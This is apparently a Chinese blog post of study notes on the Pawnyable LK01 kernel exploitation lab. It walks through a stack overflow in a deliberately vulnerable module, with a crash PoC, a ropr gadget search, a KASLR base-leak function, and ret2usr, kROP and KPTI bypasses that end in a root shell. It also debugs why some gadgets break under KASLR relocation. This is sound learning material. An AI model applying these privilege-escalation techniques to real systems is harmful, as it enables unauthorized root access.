前言

Pawnyable是一个由ptrYudai开发的Linux内核漏洞利用的入门教程。在这个教程中,作者设计了存在漏洞的Linux内核模块,并结合这些内核模块依次介绍了内核漏洞研究的环境搭建及调试方法、堆栈溢出、释放后重用(use after free,简称UAF)、竞态条件(race condition)、空指针解引用(NULL pointer dereference)、双重取回(double fetch)等多种漏洞类型,和滥用userfaultfd、滥用FUSE等漏洞利用方法。虽然该系列教程全部使用日语,我们可以使用Google翻译提供的网站动态翻译功能来阅读该教程的中文版本英文版本

“Linux Kernel PWN | 04”系列文章是我针对此教程的学习笔记,文章结构与原教程基本保持一致,也会补充一些学习过程中获得的额外知识。我们在《Linux Kernel PWN | 0401 Pawnyable学习笔记》中介绍了Linux内核漏洞利用的基础知识、环境搭建和调试的方法。

本文是课程第二部分“内核利用基础”第一小节的笔记,将依次讨论在开启不同安全机制的情况下内核栈溢出漏洞的利用方法,下文使用的漏洞环境为LK01

1. 漏洞模块分析

首先,我们可以在LK01/qemu/rootfs/etc/init.d/S99pawnyable文件中看到系统启动时加载漏洞模块并关联字符设备/dev/holstein的命令:

insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

其次,从LK01/qemu/run.sh可以发现,KPTI、KASLR、SMEP/SMAP这些安全机制均未打开。

接着,我们分析一下漏洞模块源码文件LK01/src/vuln.c。这个模块非常简单:注册了一个名为holstein的字符设备,实现了open、close、read、write四个文件操作,对应的四个函数的核心内容如下(为突出重点,删除了一些打印、判断和返回语句):

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file) {
  g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
}
static ssize_t module_read(struct file *file, char __user *buf, size_t count, loff_t *f_pos) {
  char kbuf[BUFFER_SIZE] = { 0 };
  memcpy(kbuf, g_buf, BUFFER_SIZE);
  _copy_to_user(buf, kbuf, count); // <1>
  return count;
}
static ssize_t module_write(struct file *file, const char __user *buf, size_t count, loff_t *f_pos) {
  char kbuf[BUFFER_SIZE] = { 0 };
  _copy_from_user(kbuf, buf, count); // <2>
  memcpy(g_buf, kbuf, BUFFER_SIZE);
  return count;
}
static int module_close(struct inode *inode, struct file *file) {
  kfree(g_buf);
}

审查上述代码,很容易发现<1>处存在越界读漏洞,而<2>处存在栈溢出漏洞。同时,我们发现<1>、<2>两处分别使用了下划线开头的函数_copy_to_user_copy_from_user,它们的功能与copy_to_usercopy_from_user函数类似,但是不检查溢出。附录1对这四个函数做了详细介绍。

缓冲区长度是0x400,我们可以写一个简单的PoC来触发溢出,使内核崩溃:

int main() {
    int fd = open("/dev/holstein", O_RDWR);
    char buf[0x420];
    memset(buf, 'A', 0x400);
    char probe[] = "BBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF";
    memcpy(buf+0x400, probe, strlen(probe));
    write(fd, buf, 0x400+strlen(probe));
    close(fd);
    return 0;
}

崩溃信息中RIP的值为0x4343434343434343,因此覆盖返回地址所需的偏移量为0x408

/ $ /exploit
general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 158 Comm: exploit Tainted: G           O      5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x4343434343434343

接下来,我们看一看如何利用这个栈溢出漏洞来提升权限。我们曾在《Linux Kernel PWN | 01 From Zero to One》中讨论了如何通过ret2usr在无任何安全机制的情况下提升权限,也讨论了kROP利用技术和如何绕过SMEP、KPTI、KASLR等多种安全机制。Pawnyable的LK01也差不多,不同的是这个漏洞模块并未开启stack canary保护,因此不必先泄露canary。

2. ret2usr

鉴于各种安全机制都没打开,我们可以直接使用ret2usr方法提权,具体流程可见《Linux Kernel PWN | 01 From Zero to One》的相关部分。这里附上我最终使用的ExP作者提供的ExP

编译运行ExP,成功提权到root:

/ $ /exploit
[+] successfully opened /dev/holstein
[*] saving user land state
[*] trying to overwrite return address of write op
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)

3. 绕过SMEP

我们将run.sh的CPU选项改为-cpu kvm64,+smep,启用SMEP机制。ret2usr失效,从内核态执行用户控件代码将被阻止。SMEP与用户态下的NX机制很像,而后者可以被ret2libc或更通用的ROP技术绕过;类似的,SMEP也可以被kernel ROP(简称kROP)绕过。使用kROP的过程通常包括三步:规划ROP链、解压内核并在内核中寻找所需gadgets的地址,编写ROP利用代码并执行。其中,有多种工具可以用来在内核中搜索gadgets,比如ropr

我们将ret2usr中涉及的代码用ROP形式实现,具体流程见《Linux Kernel PWN | 01 From Zero to One》的相关部分。这里附上我最终使用的ExP作者提供的ExP。我们将使用以下命令在内核中寻找所需gadgets:

./extract-vmlinux bzImage > vmlinux
ropr --nouniq -R "^pop rdi; ret;|^pop rcx; ret;|^mov rdi, rax; .*ret;|^swapgs|^iretq" ./vmlinux

这里遇到了一个小问题:在我的环境下,ropr查询结果中没有mov rdi, rax相关gadget,使用objdump -S -M intel vmlinux | less手动查找才找到。就绪后,编译运行ExP,成功提权到root。执行过程输出与ret2usr一样,不再展示了。

4. 绕过KPTI

将run.sh中-append选项中的nopti替换为kpti=1来启用KPTI,此时前述kROP将失效,具体效果及对KPTI的介绍见《Linux Kernel PWN | 01 From Zero to One》的相关部分

目前已知多种方式可绕过KPTI,我们将使用KPTI trampoline来绕过,它对应内核中的swapgs_restore_regs_and_return_to_usermode函数,具体流程见《Linux Kernel PWN | 01 From Zero to One》的相关部分。作者并未提供ExP,这里附上我最终使用的ExP

5. 绕过KASLR

将run.sh中-append选项中的nokaslr替换为kaslr来启用KASLR。此时前述kROP将失效,因为我们使用的gadgets及相关内核函数地址已经被随机化。我们可以阅读相应的内核源码来了解KASLR的具体实现。其实内核中的地址空间布局随机化强度比用户空间中的要弱——内核预留了从0xffffffff80000000到0xffffffffc0000000的1GB地址空间,即使启用KASLR,也只会生成从0x810到0xc00的0x3f0个不同的基地址。

前面提到,漏洞模块还有一个越界读漏洞,因此我们可以利用该越界读泄露出内核基地址,从而计算出ExP依赖的gadgets和内核函数的正确地址,实现“去随机化”。我们在《Linux Kernel PWN | 01 From Zero to One》的相关部分讨论过如何利用越界读来泄露内核基地址。针对当前题目,我们再来实现一次。

首先,我们写一个非常简单的只调用模块read函数的程序来利用越界读漏洞,在KASLR关闭的状态下打印一下越界部分开始读到的值,观察其内容:

/ # /exploit
#0x0	0xffffc9000044bee8
#0x1	0xffffffff8113d33c
#0x2	0x18114cd87
...

可以发现,偏移0x408处的值0xffffffff8113d33c与无KASLR情况下的内核基地址有相同前缀。我们在导出的符号表中搜索一下,发现这个地址位于vfs_readvfs_write两个导出符号之间,故可以判定其落在vfs_read函数中:

/ # grep 'ffffffff8113d' /proc/kallsyms
ffffffff8113d240 T kernel_read
ffffffff8113d290 T vfs_read
ffffffff8113d410 T vfs_write

另外,这个环境中没有FG-KASLR,应该是作者在编译内核时没有配置相应的选项。关于如何绕过FG-KASLR,可以参考《Linux Kernel PWN | 01 From Zero to One》的相关部分,本文中我们不需要考虑绕过它。那么,要想去随机化,我们只需使用这个地址的偏移来计算出随机化带来的偏移量,在最后构造ROP链时,将每个地址加上这个偏移量即可,相应的leak函数如下:

void leak_kernel_base() {
    printf("[*] trying to leak up to %ld bytes memory\n", 0x440);
    char buf[0x440];
    memset(buf, 0, 0x440);
    read(global_fd, buf, 0x440);
    uint64_t *leak = (uint64_t *)buf;
    base_off = leak[0x408/8] - 0xffffffff8113d33c;
    kernel_base = 0xffffffff81000000 + base_off;
    printf("[+] got kernel base address: 0x%lx\n", kernel_base);
    printf("[+] got kernel base address offset: 0x%lx\n", base_off);
}

这里附上我使用的ExP作者提供的ExP。编译运行ExP,有趣的事情来了,我的ExP并未如期弹出root shell,而是导致了内核崩溃。相比之下,作者的ExP倒是非常稳定,只要执行就能获得root shell。

经过多次测试和分析,我发现了以下特点:

  1. 如果关闭KASLR,我的ExP能够成功;
  2. 如果打开KASLR,大部分情况下我的ExP会导致内核崩溃,但是在少数尝试中,我的ExP也能够提权成功,没有导致内核崩溃;
  3. 通过每一次打印计算出的随机化后的gadgets和函数地址,并将这些地址与GDB及/proc/kallsyms中的地址做比较,我发现自己的泄露基地址、计算gadgets和函数地址的部分没有问题,得出的地址是正确的;
  4. 对比我的ExP和作者的ExP可以发现,思路基本一致,然而我们选择的pop rdi; retpop rcx; ret地址不同;
  5. 通过在内核的反汇编结果中定位我使用的以上两个pop ret gadgets,确认它们位于内核代码段,不存在没有执行权限的问题。
  6. 如果用作者的那两个gadgets替换掉我选择的两个gadgets,我的ExP能够攻击成功。

由此基本可以确定,ExP的失败是由我选择的gadgets引起的。下面第一行和第三行是我选的gadgets,第二行和第四行是作者选的gadgets:

uint64_t pop_rdi_ret = 0xffffffff812ef4c0; // will fail
// uint64_t pop_rdi_ret = 0xffffffff812bbdc; // works
uint64_t pop_rcx_ret = 0xffffffff812ea083; // will fail
// uint64_t pop_rcx_ret = 0xffffffff8132cdd3; // works

我的ExP每次导致内核崩溃后的报错信息似乎也会有些许差异,比如有时提示的page fault是一个看起来还算正常的内核地址,有时候就是一个含义不明的地址了,下面这次测试就是后一种情况:

BUG: unable to handle page fault for address: 00000100ff81c386
#PF: supervisor write access in kernel mode
#PF: error_code(0x0002) - not-present page
PGD 0 P4D 0
Oops: 0002 [#1] PREEMPT SMP PTI
...
Call Trace:
 ? sync_regs+0x1b/0x30
 ? prepare_kernel_cred+0x150/0x150
 ? common_interrupt_return+0x16/0x80
 ? vfs_read+0xac/0x180
...
Kernel Offset: 0x4e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)

这种奇怪的情况困扰了我一天左右。最后,我决定用GDB调试一下这个ExP的执行过程。更有意思的来了!在开启KASLR的情况下,当我在GDB中中断到我在pop rcx; ret这个gadget处设置的断点时,GDB竟然显示对应地址的gadget似乎被改动过了,如下面的GDB调试片段所示:

 ► 0xffffffff860ea083    pop    rcx
   0xffffffff860ea084    movabs dword ptr [0x100ff81c386], eax
   0xffffffff860ea08d    sbb    eax, eax
   0xffffffff860ea08f    add    eax, 2
   0xffffffff860ea092    ret

正是pop和ret中间插入的垃圾指令导致了ExP执行失败,而且每次测试似乎这些垃圾指令还不一样。到目前为止,我终于查明了ExP失败的直接原因,但我还不知道是什么导致了我的gadgets被改写。按理说,KASLR应该只是做内存布局的随机化,不应该修改内核内容才对。况且,我使用的gadgets来自内核代码段,一般来说代码段是不应该能够被修改的,数据段也许还有可能。

我在内核的反汇编结果中再次定位了pop rcx; ret这个gadget,它并不是一个内核中该地址处原有的两条指令,而是从一条mov指令中截断解析出的:

mov al, ds:byte_FFFFFFFF81C35900[rdi]

我拿着目前的分析结果找云松请教。云松很快指出了问题:这个mov指令中使用了绝对地址0xFFFFFFFF81C35900,而pop rcx; ret对应的机器码是59 C3,正好是这个绝对地址中的部分值,因此在没有KASLR的情况下,它确实是一个有效的gadget。然而,一旦KASLR生效,它同时也将内核中这些汇编指令中的绝对地址也做了更新,否则内核在执行类似上面这条mov指令时就可能会出错,因为地址已经被随机化了。KASLR机制对这些绝对地址的更新就导致了我的gadget的改变,每次随机化的结果不同也就导致了我每次看到的垃圾指令不一样,甚至小部分情况下垃圾指令不影响原gadget的功能,故而我的ExP能够提权成功。

查明问题后,云松给的建议是尽量找地址对齐的gadget,它们更稳定。

在找云松请教之前,我也在Twitter上向教程作者ptrYudai私信求助。我在跟云松交流完后,也收到了ptrYudai的热心回复,他说他也发现了“内核中有少部分代码引用了绝对地址,而KASLR会对这些地址做改动,从而导致部分gadgets失效”的问题,但是尚未查明具体导致这些改动的内核代码逻辑是什么。ptrYudai在他给ropr项目提交的一个pull request中提到了这个问题。

在此感谢云松和ptrYudai的指导和交流。

总结

那么,这就是我对Pawnyable第一个漏洞场景所做的笔记了。

一开始,我觉得自己能够很快完成这个场景相关的漏洞利用,因为其中的内容我之前已经研究过一次,而且漏洞模块的逻辑非常相似。事实上,从ret2usr到绕过KPTI这部分,我确实没有用太多时间,但是在KASLR这里卡了很久,原因就是前面提到的那个gadget被修改的问题。

其实我曾想过直接跳过这个问题,进入下一个堆溢出的场景。毕竟,绕过KASLR的原理我已经掌握,之前也实践过一次,在当前场景中虽然经常导致内核崩溃,但还是有少数几次提权成功的情况,说明我的ExP是有效的。

最终,好奇心和负罪感战胜了功利心。我决定要追踪到底,看看漏洞利用失败的背后到底是什么原因。事实证明,做难而正确的事的收获是巨大的。问题的背后别有洞天。所谓hack,其实正是不断地去探索这些未知的东西,而不是重复做自己已经会的事情,也不是按部就班的学习。因此,我再一次提醒未来的自己,遇到问题时不要逃避。要去分析,去推理,尝试去弄懂是什么、为什么。很多时候,创新和机会是以问题的形式出现。我们要有耐心、好奇心和勇气,才能够把握和有所收获。

“于是余有叹焉。古人之观于天地、山川、草木、虫鱼、鸟兽,往往有得,以其求思之深而无不在也。夫夷以近,则游者众;险以远,则至者少。而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也。有志矣,不随以止也,然力不足者,亦不能至也。有志与力,而又不随以怠,至于幽暗昏惑而无物以相之,亦不能至也。然力足以至焉,于人为可讥,而在己为有悔;尽吾志也而不能至者,可以无悔矣,其孰能讥之乎?此余之所得也。”

附录1

我们已经能够从这两个函数的名称猜到它们的用途:在内核和用户空间之间复制数据。另外,下划线开头的版本并不会对堆栈溢出进行检查。我们结合源代码来看一下:

首先是copy_from_usercopy_to_user源代码。可以发现,它们会先对复制长度进行检查,然后去调用下划线开头的版本:

static __always_inline unsigned long __must_check
copy_from_user(void *to, const void __user *from, unsigned long n) {
	if (check_copy_size(to, n, false))
		n = _copy_from_user(to, from, n);
	return n;
}

static __always_inline unsigned long __must_check
copy_to_user(void __user *to, const void *from, unsigned long n) {
	if (check_copy_size(from, n, true))
		n = _copy_to_user(to, from, n);
	return n;
}

下面是_copy_from_user_copy_to_user源代码

#ifdef INLINE_COPY_FROM_USER
static inline __must_check unsigned long
_copy_from_user(void *to, const void __user *from, unsigned long n) {
	unsigned long res = n;
	might_fault();
	if (!should_fail_usercopy() && likely(access_ok(from, n))) {
		instrument_copy_from_user(to, from, n);
		res = raw_copy_from_user(to, from, n);
	}
	if (unlikely(res))
		memset(to + (n - res), 0, res);
	return res;
}
#else
extern __must_check unsigned long
_copy_from_user(void *, const void __user *, unsigned long);
#endif

#ifdef INLINE_COPY_TO_USER
static inline __must_check unsigned long
_copy_to_user(void __user *to, const void *from, unsigned long n) {
	might_fault();
	if (should_fail_usercopy())
		return n;
	if (access_ok(to, n)) {
		instrument_copy_to_user(to, from, n);
		n = raw_copy_to_user(to, from, n);
	}
	return n;
}
#else
extern __must_check unsigned long
_copy_to_user(void __user *, const void *, unsigned long);
#endif